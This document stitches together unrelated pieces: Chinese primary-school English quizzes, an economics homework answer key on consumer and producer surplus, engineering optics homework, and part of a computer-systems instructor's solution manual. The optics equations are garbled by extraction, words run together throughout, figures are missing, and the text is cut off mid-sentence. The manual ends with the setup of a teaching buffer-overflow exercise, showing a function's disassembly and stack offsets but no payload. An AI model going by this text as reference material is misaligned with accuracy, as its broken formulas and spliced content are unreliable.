(ask) us to draw a picture of a tree. I __________ (use) green and brown colors. My friend__________ (choose) to draw a flower. After we __________ (finish) our drawings, we __________ (show) them to the class. Everyone __________ (like) my picture.38.Which of these is a vehicle?A. ChairB. BicycleC. TableD. Bedst weekend, we went to the __________ to buy some __________ for the week. I needed to buy some __________, __________, and __________. My sister wanted to buy some __________ and __________. After shopping, we went to the __________ to have lunch. It was a __________ and busy day, but we had a great time.40.Which sentence is correct?A. I don’t have many water.B. I don’t have much water.C. I don’t have much waters.D. I don’t ha ve many waters.41.Which of these is a time of day?A. MorningB. ChairC. SpoonD. Table42.What is the opposite of "old"?A. TallB. YoungC. SmallD. Big43.Sarah __________ (study) English every day. She __________ (love) to learn new words. Yesterday, she __________ (learn) 20 new words and __________ (write) themin her notebook. She __________ (want) to be a teacher when she __________ (grow) up. In the evening, she __________ (do) her homework before dinner.44.What is the opposite of "clean"?A. DirtyB. TallC. SmallD. Light45.Which of the following is a fruit?A. CarrotB. AppleC. BroccoliD. Potato46.What’s the weather like today?A. It’s raining.B. It’s a cat.C. It’s a book.D. It’s Monday.47.Which of these is used to cut paper?A. ScissorsB. KnifeC. SpoonD. Plate48.Which one is a season?A. WinterB. ChairC. PlateD. Spoon49.At school, we __________ (study) different subjects like math, science, and English. We __________ (have) class from 8:00 AM to 3:00 PM. My favorite subject__________ (be) English because I __________ (love) reading books in English. After class, I __________ (usually/play) basketball with my friends.50.Which of these is a pet?A. DogB. FishC. CatD. All of the above(答案及解释)。
小学上册T卷英语第五单元自测题
小学上册英语第五单元自测题英语试题一、综合题(本题有100小题，每小题1分，共100分.每小题不选、错误，均不给分)1.The __________ (历史的力量) drives change.2.My family loves to __________ on vacations. (旅行)3.What do you call the study of the human mind and behavior?A. SociologyB. PsychologyC. AnthropologyD. BiologyB4.In a chemical reaction, the substances formed are called _____ (products).5.My mom plays ____ (chess) with me.6.My sister loves to ________.7.The children are ______ with a ball in the yard. (playing)8. A ________ is a long period of dry weather.9.I can celebrate creativity with my ________ (玩具).10.What is the opposite of 'new'?A. UsedB. OldC. FreshD. RecentB11.The __________ (十字军东征) were military expeditions to the Holy Land.12.What is the common name for a large reptile that lives in water?A. FrogB. LizardC. CrocodileD. SnakeC13.What is the name of the famous bear in the cartoon?A. PaddingtonB. Winnie the PoohC. YogiD. BalooB14.What is the main source of energy for plants?A. SoilB. WaterC. SunlightD. Air15.Which fruit is yellow and curved?A. AppleB. BananaC. GrapeD. OrangeB16.The book is _______ (有趣的) to read.17.Fossils can tell us about the ______ of ancient organisms.18.Which of these is a warm-blooded animal?A. FishB. BirdC. LizardD. FrogB19.The ____ is known for its vibrant colors and unique patterns.20. A ______ (龙虾) has pincers and lives in the sea.21.What type of animal is a dolphin?A. FishB. ReptileC. MammalD. Amphibian22.The _______ (The Reconstruction Amendments) aimed to secure rights for former slaves.23.What is the name of the first manned mission to the moon?A. Apollo 11B. GeminiC. VoyagerD. Mercury24.The ________ is a very fast animal.25.My friend is a ______. He enjoys participating in sports.26.What do you call the first meal of the day?A. LunchB. DinnerC. BreakfastD. Snack27.We go to school by ___ (bus/train).28.I saw a _______ (彩虹) after the rain.29.My sister is a ______. She loves to play the flute.30.The capital city of Australia is ________ (澳大利亚的首都城市是________).31.What is the main ingredient in bread?A. SugarB. FlourC. RiceD. MilkB32.The flowers bloom in the _______ (花在_______中盛开).33.The rabbit’s ears are very _______ (灵敏).34.The ________ is a great teacher.35. A __________ (电解质) conducts electricity when dissolved in water.36.Which fruit is known as the "king of fruits"?A. MangoB. DurianC. BananaD. Pineapple37.What do we call the practice of keeping animals for food?A. AgricultureB. FarmingC. Animal husbandryD. RanchingC38. A chemical that can speed up a reaction is called a ______.39.The ________ was a series of wars fought between England and France.40.I have a toy _______ that zooms across the floor really fast.41.The _______ (The Reformation) questioned the authority of the Catholic Church.42.We have _____ (两) hands.43.The industrial revolution began in _______. (英国)44.My friend is __________ (具有影响力).45.在古代，________ (scripts) 用于记录重要事件。
经济学原理 经济相互依存性和贸易的好处(3.5)--应用：税收、国际贸易-习题答案
Principles of Economics I (Fall 2012)Homework #3(Lecture 7-8, Due on Nov. 14, 2012, submitted in class)Note: All textbook problem numbers refer to “Problems and Application”part in corresponding chapter, the 6th Chinese/US edition of the textbook.For Chapter 71.Textbook, Chapter 7, #44. a. Bert’s demand schedule is:Bert’s demand curve is shown in Figure 9.Figure 9b. When the price of a bottle of water is $4, Bert buys two bottles of water. Hisconsumer surplus is shown as area A in the figure. He values his first bottleof water at $7, but pays only $4 for it, so has consumer surplus of $3. Hevalues his second bottle of water at $5, but pays only $4 for it, so hasconsumer surplus of $1. Thus Bert’s total consumer surplus is $3 + $1 = $4,which is the area of A in the figure.c. When the price of a bottle of water falls from $4 to $2, Bert buys threebottles of water, an increase of one. His consumer surplus consists of bothareas A and B in the figure, an increase in the amount of area B. He getsconsumer surplus of $5 from the first bottle ($7 value minus $2 price), $3from the second bottle ($5 value minus $2 price), and $1 from the thirdbottle ($3 value minus $2 price), for a total consumer surplus of $9. Thusconsumer surplus rises by $5 (which is the size of area B) when the price ofa bottle of water falls from $4 to $2.2.Textbook, Chapter 7, #55. a. Ernie’s supply schedule for wate r is:Ernie’s supply curve is shown in Figure 10.Figure 10b. When the price of a bottle of water is $4, Ernie sells two bottles of water. Hisproducer surplus is shown as area A in the figure. He receives $4 for his firstbottle of water, but it costs only $1 to produce, so Ernie has producer surplusof $3. He also receives $4 for his second bottle of water, which costs $3 toproduce, so he has producer sur plus of $1. Thus Ernie’s total producersurplus is $3 + $1 = $4, which is the area of A in the figure.c. When the price of a bottle of water rises from $4 to $6, Ernie sells threebottles of water, an increase of one. His producer surplus consists of bothareas A and B in the figure, an increase by the amount of area B. He getsproducer surplus of $5 from the first bottle ($6 price minus $1 cost), $3 fromthe second bottle ($6 price minus $3 cost), and $1 from the third bottle ($6price minus $5 price), for a total producer surplus of $9. Thus producersurplus rises by $5 (which is the size of area B) when the price of a bottle ofwater rises from $4 to $6.3.Textbook, Chapter 7, #66. a. From Ernie’s supply schedule and Bert’s demand schedule, the quantit ydemanded and supplied are:Only a price of $4 brings supply and demand into equilibrium, with anequilibrium quantity of two.b. At a price of $4, consumer surplus is $4 and producer surplus is $4, asshown in Problems 3 and 4 above. Total surplus is $4 + $4 = $8.c. If Ernie produced one less bottle, his producer surplus would decline to $3,as shown in Problem 4 above. If Bert consumed one less bottle, hisconsumer surplus would decline to $3, as shown in Problem 3 above. So totalsurplus would decline to $3 + $3 = $6.d. If Ernie produced one additional bottle of water, his cost would be $5, butthe price is only $4, so his producer surplus would decline by $1. If Bertconsumed one additional bottle of water, his value would be $3, but the priceis $4, so his consumer surplus would decline by $1. So total surplus declinesby $1 + $1 = $2.4.Textbook, Chapter 7, #99. a. The effect of falling production costs in the market for computers results in ashift to the right in the supply curve, as shown in Figure 14. As a result, theequilibrium price of computers declines and the equilibrium quantityincreases. The decline in the price of computers increases consumer surplusfrom area A to A + B + C + D, an increase in the amount B + C + D.Figure 14 Figure 15Prior to the shift in supply, producer surplus was areas B + E (the area above thesupply curve and below the price). After the shift in supply, producer surplus isareas E + F + G. So producer surplus changes by the amount F + G – B, whichmay be positive or negative. The increase in quantity increases producer surplus,while the decline in the price reduces producer surplus. Because consumersurplus rises by B + C + D and producer surplus rises by F + G – B, total surplusrises by C + D + F + G.b. Because typewriters are substitutes for computers, the decline in the price ofcomputers means that people substitute computers for typewriters, shiftingthe demand for typewriters to the left, as shown in Figure 15. The result is adecline in both the equilibrium price and equilibrium quantity of typewriters.Consumer surplus in the typewriter market changes from area A + B to A +C, a net change of C – B. Producer surplus changes from area C + D + E toarea E, a net loss of C + D. Typewriter producers are sad about technologicaladvances in computers because their producer surplus declines.c. Because software and computers are complements, the decline in the priceand increase in the quantity of computers means that the demand forsoftware increases, shifting the demand for software to the right, as shownin Figure 16. The result is an increase in both the price and quantity ofsoftware. Consumer surplus in the software market changes from B + C to A+ B, a net change of A – C. Producer surplus changes from E to C + D + E,an increase of C + D, so software producers should be happy about thetechnological progress in computers.Figure 16d. Yes, this analysis helps explai n why Bill Gates is one the world’s richestpeople, because his company produces a lot of software that is acomplement with computers and there has been tremendous technologicaladvance in computers.5.Textbook, Chapter 7, #1010. a. With Provider A, the cost of an extra minute is $0. With Provider B, the cost ofan extra minute is $1.b. With Provider A, my friend will purchase 150 minutes [= 150 – (50)(0)]. WithProvider B, my friend would purchase 100 minutes [= 150 – (50)(1)].c. With Provider A, he would pay $120. The cost would be $100 with Provider B.Figure 17d. Figure 17 shows the friend’s demand. With Provider A, he buys 150 minutes andhis consumer surplus is equal to (1/2)(3)(150) – 120 = 105. With Provider B, hisconsumer surplus is equal to (1/2)(2)(100) = 100.6.排队、价格与效率小镇上生活着1万名居民，每个周末都会到镇里唯一的公园去休息娱乐。
工程光学英文题加中文题含答案
English Homework for Chapter 11.In ancient times the rectilinear propagation of light was used to measure the height of objects by comparing the length of their shadows with the length of the shadow of an object of known length. A staff 2m long when held erect casts a shadow 3.4m long, while a building’s shadow is 170m long. How tall is the building?Solution. According to the law of rectilinear propagation, we get, x=100 (m)So the building is 100m tall.2.Light from a water medium with n=1.33 is incident upon a water-glass interface at an angle of 45o. The glass index is 1.50. What angle does the light make with the normal in the glass?Solution. According to the law of4.32170 xrefraction, We get,So the light makenormal in the glass.3. A goldfish swims 10cm from the side of a spherical bowl of water of radius 20cm. Where does the fish appear to be? Does it appear larger or smaller?Solution. According to the equation. and n ’=1 , n=1.33, r=-20we can getSo the fish appears larger.''sin sin I n I n =626968.05.145sin 33.1sin =⨯='I8.38='I rn n l n l n -'=-''11416.110133.15836.8)(5836.81165.02033.01033.11>-=⨯⨯-=''=-='∴-=--+-=-'+='l n l n cm l r n n l n l β n A4.An object is located 2cm to the left of convex end of a glass rod which has a radius of curvature of 1cm. The index of refraction of the glass is n=1.5. Find the image distance.Solution. Refer to the figure. According to the equationand n=1, n ’=1.5, l 1=-2cm,rn n l n l n -'=-''r 1=1cm , we getEnglish Homework for Chapter 21.An object 1cm high is 30cm in front of a thin lens with a focal length of 10cm. Where is the image? Verify your answer by graphical construction of the image. Solution. According toequation, and l=-30cm f ’we getOthers are omitted.cm l l d l l l 2021115.15.121211='∴-∞='-=∞='∴=-+-='f l l '=-'11)(15)30(10)30(10cm l f l f l =-+-⨯=+''='′′′2.A lens is known to have a focal length of 30cm in air. An object is placed 50cm to the left of the lens. Locate the image and characterize it.Solution.and f′=30cm l we getThe image is a real, larger one.3.The object is transparent cube, 4mm across, placed 60cm in front of 20cm focal length. Calculate the transverse and axial magnification and describe what the image looks like?Solution. From Gauss’s equation, we find for the rear surface of the cube (the face closer to the lens)that,f l l '=-'11(75)50(30)50(30l f l f l =-+-⨯=+''='5.15075-=-='=l l β)(3020)60()20()60(111cm f l f l l +=+-⨯-='+'='′For the front surface (the face farther away from the lens),The transverse magnification for the rear surface isBut the axial magnification isSince ,the cube doesn’t look likea cube.4.A biconvex lens is made out of glass of n=1.52. If one surface has twice the radius of curvature of the other, and if the focal length is 5cm, what are the two radii?Solution. Supposing r 1= -2r 2 (ρ2=-2ρ1),according to the lens equationwe get,∴r 1=7.8(cm) r 2=-3.9(cm))(9.29204.6020)4.60(2cm l +=+-⨯-='⨯-=-+=5.06030t M ⨯+=----=∆'∆=25.0)4.60(609.2930l l M a atM M ≠))(1(21ρρϕ--=n )(152.1(51ρ-=1282.01=∴ρ2564.02-=ρ返回English Homework for Chapter 4 1. A stop 8mm in diameter is placed halfway between an extended object and a large-diameter lens of 9cm focal length. The lens projects an image of the object onto a screen 14cm away. What is the diameter of the exit pupil?Solution. Refer to the figure. First, from the known focal length and the image distance,we find the object distance. and l ’=14 f ’=9l =-25.2(cm)The stop is one-half that distance is front of the lens, so l s =12.6(cm)∴l s ’=31.5(cm)∴2. Two lenses, a lens of 12.5cm focal length and a minus lens of unknownf l l '=-'11122.255.31-='==ss stop ex l l D D β )(28.05.2cm D ex=⨯=power, are mounted coaxially and 8 cm apart. The system is a focal, that is light entering the system parallel at one side emerges parallel at the other. If a stop 15mm in diameter is placed halfway between the lenses:1) Where is the entrance pupil?2) Where is the exit pupil?3) What are their diameters?’Solution. Refer to the figure. For thesystem to be a focal, the focal points of the two lenses mustcoincide. Since f 1’=12.5cm, and the two lenses are 8cm apart, so f 2’=-4.5cm. The entrance pupil is the image of stop formed by the first lens.According to Gauss’s equation,and l 1’=4cm, f 1’=12.5cm. We getThe exit pupil’slocation is返回111111f l l '=-'())(88.55.845.1211111cm l f l f l =⨯='-'''=)(05.22488.5151mm D D stopentrance =⨯==β)(95.715412.2)(12.25.818)4()5.4()4()5.4(222222mm D D cm f l l f l stop exit =⨯=∙=-=-=-+--⨯-='+'='βEnglish Homework for Chapter 71. A person wants to look at the image of his or her own eyes, without accommodation, using a concave mirror of 60cm radius of curvature. How far must the mirror be from the eye if the person has1) Normal vision?2) 4diopter myopia, without correction?3) 4diopter hyperopia, without correction?Solution.1) When the person has normal vision, according to the following scheme 1, we getso,∞='l cm r l 302==Scheme 1and, orSo the mirror must be 75cm or 10cmfrom the eye.and, or (Since the object isreal, so we can give up this answer)So the mirror must be 50cm from theeye.141-=m l r cm l l r 25-=='r l l 211=+' )(25cm l l +'=cm r 60=265852253048585025308522±=⨯⨯-±==⨯+-l l l ⎩⎨⎧==∴)(50')(7511cm l cm l ⎩⎨⎧-==)(15')(1022cm l cm l r l l 211=+' )(25'cm l l +=cm r 60=265352253043535025303522±=⨯⨯+±==⨯--l l l ⎩⎨⎧==∴)(75')(5011cm l cm l ⎩⎨⎧=-=)(10')(1522cm l cm l Scheme 2 Scheme 32. Discussion: What differences between the following situations:1) a microscope is used for projection;2) the microscope is used for visual observation.返回工程光学（上）期末考试试卷一．问答题：（共12分，每题3分）1．摄影物镜的三个重要参数是什么？它们分别决定系统的什么性质？2．为了保证测量精度，测量仪器一般采用什么光路？为什么？3．显微物镜、望远物镜、照相物镜各应校正什么像差？为什么？4．评价像质的方法主要有哪几种？各有什么优缺点？二．图解法求像或判断成像方向：（共18分，每题3分）1．求像A'B'2．求像A'B'3．求物AB经理想光学系统后所成的像，并注明系统像方的基点位置和焦距4．判断光学系统的成像方向5．求入瞳及对无穷远成像时50%渐晕的视场6．判断棱镜的成像方向三．填空：（共10分，每题2分）1．照明系统与成像系统之间的衔接关系为：①________________________________________________②________________________________________________2．转像系统分____________________和___________________两大类，其作用是：_______________________________ __________3．一学生带500度近视镜，则该近视镜的焦距为_________________,该学生裸眼所能看清的最远距离为_________________。
小学上册第6次英语下册试卷
小学上册英语下册试卷英语试题一、综合题(本题有100小题，每小题1分，共100分.每小题不选、错误，均不给分)1.What do you call the plant that grows in water?A. TreeB. FlowerC. Aquatic plantD. BushC2.What is the capital of the Maldives?A. MaléB. Addu CityC. FuvahmulahD. Dhidhdhoo3.What do we call a person who studies the stars?A. GeologistB. MeteorologistC. AstronomerD. BiologistC4.What is the name of the famous battle fought on June 6, 1944?A. Battle of the BulgeB. Battle of StalingradC. D-DayD. Battle of Midway5.What is the fastest land animal?A. ElephantB. CheetahC. HorseD. LionB Cheetah6.I enjoy _______ (在公园散步).7. A __________ is a famous site for rock formations.8.I have a new _____ (玩具).9.The rabbit is ________ in the grass.10.We have art class _____ Monday. (on)11.What is the capital of South Korea?A. SeoulB. TokyoC. BeijingD. Manila12.The chemical process of respiration converts glucose into ______.13.The _______ (鲸鱼) is a giant sea animal.14.What is the past tense of "go"?A. GoneB. WentC. GoD. Going15.Where do penguins live?A. DesertB. JungleC. ArcticD. AntarcticaD Antarctica16. A salamander is a type of ______.17.The kitten is very _____. (cute)18.My sister is a fantastic __________ (编剧).19.What is the main ingredient in chocolate?A. SugarB. CocoaC. MilkD. NutsB20.How many vowels are there in the English alphabet?A. 5B. 6C. 7D. 8A21.What do you call a place where you can buy food and drinks?A. MarketB. RestaurantC. Grocery storeD. All of the aboveD22.My favorite movie is about a ________ (小狗) who saves the day. It’s so ________ (感人).23.Frogs can make a ______ sound.24.What is the term for the scientific study of plants?A. BiologyB. BotanyC. ChemistryD. PhysicsB25.The state of matter that has no definite shape is _______.26.The ducklings follow their mother in a ______ (行列).27.I like to read stories about ________ and their adventures.28.What do we call a person who studies insects?A. EntomologistB. BiologistC. ZoologistD. BotanistA29.The ____ has a spiny back and curls into a ball when scared.30.What is the name of the famous detective created by Arthur Conan Doyle?A. Hercule PoirotB. Sherlock HolmesC. Miss MarpleD. Sam SpadeB31.The chemical formula for glucose is ______.32.What do we call a vehicle that flies?A. CarB. BoatC. AirplaneD. Train33.The teacher is _____ a story. (reading)34. A covalent bond is formed when two atoms ________ electrons.35.The ________ (地形) can be very rugged.36.The __________ (自然奇观) attract visitors from afar.37.What is the capital of Canada?A. TorontoB. OttawaC. VancouverD. MontrealB38.Which planet is known as the Red Planet?A. EarthB. MarsC. JupiterD. SaturnB39.I wish I could create my own ________ (名词) one day. It would be the most________ (形容词) toy ever!40.The moon is _______ (bright) in the night.41.What is 6 x 7?A. 42B. 36C. 48D. 54A42.I appreciate my parents’ support in ____.43.My dad loves to ________ (修理) cars.44.What is 100 - 75?A. 20B. 25C. 35D. 45B45.I can ___ (jump) over the puddles.46.The tree is home to many ______.47.I love listening to ______ (音乐) while doing my homework. It helps me concentrate and feel ______ (愉快).48.The __________ was a significant event in the fight for civil rights in America. (华盛顿大游行)49.What is the term for a baby rabbit?A. KitB. PupC. CalfD. ChickA50.What is the smallest prime number?A. 0B. 1C. 2D. 3C51.The ________ (小岛) is a great vacation spot.52.The ________ was a crucial chapter in the narrative of national unity.53.What do you call the scientific study of the atmosphere?A. MeteorologyB. GeographyC. ClimatologyD. Astronomy54.The Earth's surface is composed of various geological ______.55.What do we call the process of water turning into vapor?A. EvaporationB. CondensationC. PrecipitationD. Filtration56.The __________ (历史的传承) shapes future identity.57. A hamster enjoys running on its ______ (轮子).58.The _____ (starfish) is on the shore.59.What is a common pet that purrs?A. DogB. CatC. FishD. Rabbit60.The _______ (青蛙) croaks by the pond.61. A chemical reaction may produce ______.62.Granite is commonly used in construction because it is very ______.63.My friend has a unique __________ (世界观).64.Which holiday is celebrated on December 25th?A. HalloweenB. ThanksgivingC. ChristmasD. EasterC Christmas65.My brother is learning to play the ____ (banjo).66.I like to play with my toy ________ (玩具名称) in the sunshine.67.Did you see a _______ (小猴子) swinging from a branch?68.My friend is a ______. She loves to write.69.The girl loves to ________.70. A _____ (小狗) loves to go for walks with its owner.71.What do you call the main character in a movie or play?A. DirectorB. ActorC. ProtagonistD. Supporting actorC72.What is the main topic of a story called?A. SettingB. PlotC. ThemeD. CharacterC73. A ________ (峡谷) can be breathtakingly beautiful.74.The _____ (玉米) grows tall in the field.75.Which vehicle flies in the sky?A. CarB. BoatC. AirplaneD. BicycleC Airplane76.The tree is ___ (bushing/barren).77.How many days are there in a week?A. 5B. 6C. 7D. 878.I love to play in the _________ (游乐场) with my _________ (玩具).79.We are having a ___. (birthday party) for him.80.The ______ (植物的养分) must be balanced for health.81.The chemical symbol for calcium is __________.82. A ________ (植物景观规划) beautifies spaces.83.The dog is ___ (sitting) patiently.84.My favorite season is ______ (summer).85.What do we call a person who studies the environment?A. Environmental ScientistB. EcologistC. ConservationistD. All of the above86.The ______ (鸽子) coos softly in the morning.87.In a chemical reaction, reactants are transformed into ______.88.The _______ (狮子) is majestic and strong.89.Which fruit is yellow and curved?A. AppleB. BananaC. CherryD. GrapeB90.What do we call the study of weather?A. BiologyB. GeologyC. MeteorologyD. AstronomyC Meteorology91.I love collecting interesting ______ (石头) when I go for walks.92.Which season comes after winter?A. FallB. SpringC. SummerD. NoneB93.The _______ (小长颈鹿) eats leaves from tall trees.94. A hedgehog rolls into a ball when it feels ______ (害怕).95.The ______ helps with the immune system.96.What do we call a person who flies an airplane?A. DriverB. PilotC. SailorD. Engineer97.What is the name of the famous American author known for his horror stories?A. Edgar Allan PoeB. Mark TwainC. Ernest HemingwayD. F. Scott FitzgeraldA98.How many hearts does an octopus have?A. OneB. TwoC. ThreeD. Four99.I love looking at the __________ during a storm. (闪电)100.What do we call the science of studying animals in their natural habitat?A. EcologyB. EthologyC. ZoologyD. ConservationA。
answer
Computer Systems:A Programmer’s PerspectiveInstructor’s Solution Manual1Randal E.BryantDavid R.O’HallaronDecember4,20031Copyright c2003,R.E.Bryant,D.R.O’Hallaron.All rights reserved.2Chapter1Solutions to Homework ProblemsThe text uses two different kinds of exercises:Practice Problems.These are problems that are incorporated directly into the text,with explanatory solutions at the end of each chapter.Our intention is that students will work on these problems as they read the book.Each one highlights some particular concept.Homework Problems.These are found at the end of each chapter.They vary in complexity from simple drills to multi-week labs and are designed for instructors to give as assignments or to use as recitation examples.This document gives the solutions to the homework problems.1.1Chapter1:A Tour of Computer Systems1.2Chapter2:Representing and Manipulating InformationProblem2.40Solution:This exercise should be a straightforward variation on the existing code.2CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS1011void show_double(double x)12{13show_bytes((byte_pointer)&x,sizeof(double));14}code/data/show-ans.c 1int is_little_endian(void)2{3/*MSB=0,LSB=1*/4int x=1;56/*Return MSB when big-endian,LSB when little-endian*/7return(int)(*(char*)&x);8}1.2.CHAPTER2:REPRESENTING AND MANIPULATING INFORMATION3 There are many solutions to this problem,but it is a little bit tricky to write one that works for any word size.Here is our solution:code/data/shift-ans.c The above code peforms a right shift of a word in which all bits are set to1.If the shift is arithmetic,the resulting word will still have all bits set to1.Problem2.45Solution:This problem illustrates some of the challenges of writing portable code.The fact that1<<32yields0on some32-bit machines and1on others is common source of bugs.A.The C standard does not define the effect of a shift by32of a32-bit datum.On the SPARC(andmany other machines),the expression x<<k shifts by,i.e.,it ignores all but the least significant5bits of the shift amount.Thus,the expression1<<32yields1.pute beyond_msb as2<<31.C.We cannot shift by more than15bits at a time,but we can compose multiple shifts to get thedesired effect.Thus,we can compute set_msb as2<<15<<15,and beyond_msb as set_msb<<1.Problem2.46Solution:This problem highlights the difference between zero extension and sign extension.It also provides an excuse to show an interesting trick that compilers often use to use shifting to perform masking and sign extension.A.The function does not perform any sign extension.For example,if we attempt to extract byte0fromword0xFF,we will get255,rather than.B.The following code uses a well-known trick for using shifts to isolate a particular range of bits and toperform sign extension at the same time.First,we perform a left shift so that the most significant bit of the desired byte is at bit position31.Then we right shift by24,moving the byte into the proper position and peforming sign extension at the same time.4CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 3int left=word<<((3-bytenum)<<3);4return left>>24;5}Problem2.48Solution:This problem lets students rework the proof that complement plus increment performs negation.We make use of the property that two’s complement addition is associative,commutative,and has additive ing C notation,if we define y to be x-1,then we have˜y+1equal to-y,and hence˜y equals -y+1.Substituting gives the expression-(x-1)+1,which equals-x.Problem2.49Solution:This problem requires a fairly deep understanding of two’s complement arithmetic.Some machines only provide one form of multiplication,and hence the trick shown in the code here is actually required to perform that actual form.As seen in Equation2.16we have.Thefinal term has no effect on the-bit representation of,but the middle term represents a correction factor that must be added to the high order bits.This is implemented as follows:code/data/uhp-ans.c Problem2.50Solution:Patterns of the kind shown here frequently appear in compiled code.1.2.CHAPTER2:REPRESENTING AND MANIPULATING INFORMATION5A.:x+(x<<2)B.:x+(x<<3)C.:(x<<4)-(x<<1)D.:(x<<3)-(x<<6)Problem2.51Solution:Bit patterns similar to these arise in many applications.Many programmers provide them directly in hex-adecimal,but it would be better if they could express them in more abstract ways.A..˜((1<<k)-1)B..((1<<k)-1)<<jProblem2.52Solution:Byte extraction and insertion code is useful in many contexts.Being able to write this sort of code is an important skill to foster.code/data/rbyte-ans.c Problem2.53Solution:These problems are fairly tricky.They require generating masks based on the shift amounts.Shift value k equal to0must be handled as a special case,since otherwise we would be generating the mask by performing a left shift by32.6CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 1unsigned srl(unsigned x,int k)2{3/*Perform shift arithmetically*/4unsigned xsra=(int)x>>k;5/*Make mask of low order32-k bits*/6unsigned mask=k?((1<<(32-k))-1):˜0;78return xsra&mask;9}code/data/rshift-ans.c 1int sra(int x,int k)2{3/*Perform shift logically*/4int xsrl=(unsigned)x>>k;5/*Make mask of high order k bits*/6unsigned mask=k?˜((1<<(32-k))-1):0;78return(x<0)?mask|xsrl:xsrl;9}.1.2.CHAPTER2:REPRESENTING AND MANIPULATING INFORMATION7B.(a)For,we have,,code/data/floatge-ans.c 1int float_ge(float x,float y)2{3unsigned ux=f2u(x);4unsigned uy=f2u(y);5unsigned sx=ux>>31;6unsigned sy=uy>>31;78return9(ux<<1==0&&uy<<1==0)||/*Both are zero*/10(!sx&&sy)||/*x>=0,y<0*/11(!sx&&!sy&&ux>=uy)||/*x>=0,y>=0*/12(sx&&sy&&ux<=uy);/*x<0,y<0*/13},8CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS This exercise is of practical value,since Intel-compatible processors perform all of their arithmetic in ex-tended precision.It is interesting to see how adding a few more bits to the exponent greatly increases the range of values that can be represented.Description Extended precisionValueSmallest denorm.Largest norm.Problem2.59Solution:We have found that working throughfloating point representations for small word sizes is very instructive. Problems such as this one help make the description of IEEEfloating point more concrete.Description8000Smallest value4700Largest denormalized———code/data/fpwr2-ans.c1.3.CHAPTER3:MACHINE LEVEL REPRESENTATION OF C PROGRAMS91/*Compute2**x*/2float fpwr2(int x){34unsigned exp,sig;5unsigned u;67if(x<-149){8/*Too small.Return0.0*/9exp=0;10sig=0;11}else if(x<-126){12/*Denormalized result*/13exp=0;14sig=1<<(x+149);15}else if(x<128){16/*Normalized result.*/17exp=x+127;18sig=0;19}else{20/*Too big.Return+oo*/21exp=255;22sig=0;23}24u=exp<<23|sig;25return u2f(u);26}10CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS int decode2(int x,int y,int z){int t1=y-z;int t2=x*t1;int t3=(t1<<31)>>31;int t4=t3ˆt2;return t4;}Problem3.32Solution:This code example demonstrates one of the pedagogical challenges of using a compiler to generate assembly code examples.Seemingly insignificant changes in the C code can yield very different results.Of course, students will have to contend with this property as work with machine-generated assembly code anyhow. They will need to be able to decipher many different code patterns.This problem encourages them to think in abstract terms about one such pattern.The following is an annotated version of the assembly code:1movl8(%ebp),%edx x2movl12(%ebp),%ecx y3movl%edx,%eax4subl%ecx,%eax result=x-y5cmpl%ecx,%edx Compare x:y6jge.L3if>=goto done:7movl%ecx,%eax8subl%edx,%eax result=y-x9.L3:done:A.When,it will computefirst and then.When it just computes.B.The code for then-statement gets executed unconditionally.It then jumps over the code for else-statement if the test is false.C.then-statementt=test-expr;if(t)goto done;else-statementdone:D.The code in then-statement must not have any side effects,other than to set variables that are also setin else-statement.1.3.CHAPTER3:MACHINE LEVEL REPRESENTATION OF C PROGRAMS11Problem3.33Solution:This problem requires students to reason about the code fragments that implement the different branches of a switch statement.For this code,it also requires understanding different forms of pointer dereferencing.A.In line29,register%edx is copied to register%eax as the return value.From this,we can infer that%edx holds result.B.The original C code for the function is as follows:1/*Enumerated type creates set of constants numbered0and upward*/2typedef enum{MODE_A,MODE_B,MODE_C,MODE_D,MODE_E}mode_t;34int switch3(int*p1,int*p2,mode_t action)5{6int result=0;7switch(action){8case MODE_A:9result=*p1;10*p1=*p2;11break;12case MODE_B:13*p2+=*p1;14result=*p2;15break;16case MODE_C:17*p2=15;18result=*p1;19break;20case MODE_D:21*p2=*p1;22/*Fall Through*/23case MODE_E:24result=17;25break;26default:27result=-1;28}29return result;30}Problem3.34Solution:This problem gives students practice analyzing disassembled code.The switch statement contains all the features one can imagine—cases with multiple labels,holes in the range of possible case values,and cases that fall through.12CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 1int switch_prob(int x)2{3int result=x;45switch(x){6case50:7case52:8result<<=2;9break;10case53:11result>>=2;12break;13case54:14result*=3;15/*Fall through*/16case55:17result*=result;18/*Fall through*/19default:20result+=10;21}2223return result;24}code/asm/varprod-ans.c 1int var_prod_ele_opt(var_matrix A,var_matrix B,int i,int k,int n) 2{3int*Aptr=&A[i*n];4int*Bptr=&B[k];5int result=0;6int cnt=n;78if(n<=0)9return result;1011do{12result+=(*Aptr)*(*Bptr);13Aptr+=1;14Bptr+=n;15cnt--;1.3.CHAPTER3:MACHINE LEVEL REPRESENTATION OF C PROGRAMS13 16}while(cnt);1718return result;19}code/asm/structprob-ans.c 1typedef struct{2int idx;3int x[4];4}a_struct;14CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 1/*Read input line and write it back*/2/*Code will work for any buffer size.Bigger is more time-efficient*/ 3#define BUFSIZE644void good_echo()5{6char buf[BUFSIZE];7int i;8while(1){9if(!fgets(buf,BUFSIZE,stdin))10return;/*End of file or error*/11/*Print characters in buffer*/12for(i=0;buf[i]&&buf[i]!=’\n’;i++)13if(putchar(buf[i])==EOF)14return;/*Error*/15if(buf[i]==’\n’){16/*Reached terminating newline*/17putchar(’\n’);18return;19}20}21}An alternative implementation is to use getchar to read the characters one at a time.Problem3.38Solution:Successfully mounting a buffer overflow attack requires understanding many aspects of machine-level pro-grams.It is quite intriguing that by supplying a string to one function,we can alter the behavior of another function that should always return afixed value.In assigning this problem,you should also give students a stern lecture about ethical computing practices and dispell any notion that hacking into systems is a desirable or even acceptable thing to do.Our solution starts by disassembling bufbomb,giving the following code for getbuf: 1080484f4<getbuf>:280484f4:55push%ebp380484f5:89e5mov%esp,%ebp480484f7:83ec18sub$0x18,%esp580484fa:83c4f4add$0xfffffff4,%esp680484fd:8d45f4lea0xfffffff4(%ebp),%eax78048500:50push%eax88048501:e86a ff ff ff call8048470<getxs>98048506:b801000000mov$0x1,%eax10804850b:89ec mov%ebp,%esp11804850d:5d pop%ebp12804850e:c3ret13804850f:90nopWe can see on line6that the address of buf is12bytes below the saved value of%ebp,which is4bytes below the return address.Our strategy then is to push a string that 